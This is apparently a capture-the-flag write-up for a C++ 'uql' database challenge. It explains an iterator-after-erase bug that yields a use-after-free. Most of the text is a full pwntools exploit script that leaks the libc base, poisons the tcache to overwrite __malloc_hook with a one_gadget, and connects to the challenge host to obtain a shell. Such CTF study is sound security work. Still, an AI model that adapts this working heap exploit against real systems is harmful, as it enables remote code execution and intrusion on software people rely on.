Rating: 5.0

This challenge was about making use of an out of bound in a std::vector<std::string> thanks to a wrong use of an iteration. An iterator wasn't decremented after the deletion of an element here:
```c
for (vector<string>::iterator it = db.begin(); it != db.end(); it++) {
string data = *it;
vector<modification>::iterator it2 = op.modifications.begin();
while (it2 != op.modifications.end()) {
it2 = find_if(it2, op.modifications.end(), [&](modification& m){ return m.target == data; });
if (it2 != op.modifications.end()) {
modification m = *(it2++);
(*it)[m.index] = m.value;
}
}
if (find(op.removals.begin(), op.removals.end(), data) != op.removals.end()) db.erase(it); // it should have been decremented here
else if (op.display) {
if (*it != data) cout << data << " -> " << *it << endl;
else cout << data << endl;
}
}
```

It allowed a UAF which could lead to a tcache poisoinning, itself leading to a corruption of __malloc_hook by a one gadget, giving a shell.

Big thanks to _nobodyisnobody for unlocking me at the end, I couldn't have a setup that would validate the one_gadget constraints, he solved that in seconds.

Exploit below:

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('uql')
context.terminal = "gnome-terminal -- bash -c".split(" ")
libc = ELF('./libc.so.6')

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
io = process([exe.path] + argv, *a, **kw)
pie = get_PIE(io)
gdbscript = '''
continue
''' #% (pie + 0x002F0A, pie + 0x03193)
gdb.attach(io, gdbscript=gdbscript)
return io
elif args.REM:
return remote("shell.actf.co", 21321)
else:
return process([exe.path] + argv, *a, **kw)

def insert(val):
io.sendlineafter("> ", "insert %s" % val)

def modify(toMod, val, index):
io.sendlineafter("> ", b"modify %s to be %s at %d" % (toMod, val, index))

def display():
io.sendlineafter("> ", "display everything")

def remove(val):
io.sendlineafter("> ", "remove %s" % val)

io = start()

a = b"a" * 0x550

insert(b"z%s" % a)
insert(b"s%s" % a)

io.sendlineafter("> ", b"modify z%s to be f at 0 remove s%s" % (a, a))

insert(b"z%s" % a)
insert(b"s%s" % a)

io.sendlineafter("> ", b"modify z%s to be s at 0 remove s%s" % (a, a))

remove(b"f%s" % a)
remove(b"s%s" % a)

io.sendlineafter("> ", b"insert")
insert(b"s%s" % a)

io.sendlineafter("> ", b"remove s%s display everything" % a)

io.recvline()
leak = io.recvline()[:-1]
print(hexdump(leak))
libcLeak = u64(leak[0x40:0x48])
libc.address = libcLeak - (0x1ebbe0+0x430)

print('libc base: {:#x}'.format(libc.address))

print(hex(libcLeak))

io.sendlineafter("> ", b"%s" % (b'd' * 0x200))
junk = b"saaaaaaaa"

insert(junk)
io.sendlineafter("> ", b"remove %s display everything" % junk)

io.recvline()
leak = io.recvline()[:-1]

print(leak)

insert(junk)
dest = libc.symbols['__malloc_hook'] - 0x10
payload = ''
for i in range(8):
payload += b'modify '+ leak + b' to be '+ p8((dest>>(i<<3))&0xff) +b' at '+str(i+64)+' '

payload += b'remove '+junk+' display everything'
io.sendlineafter("> ", payload)

io.sendlineafter("> ", b"remove %s display everything" % leak)

onegadget = [ 0xe6c7e, 0xe6c81, 0xe6c84]
weapon = libc.address+onegadget[1]

payload = 'a'*9 + p64(weapon)
payload += (0x200-len(payload))*'A'

print('gadget for breakpoint: {:#x}'.format(weapon))
if args.GDB:
pause()

insert(payload)

io.interactive()

```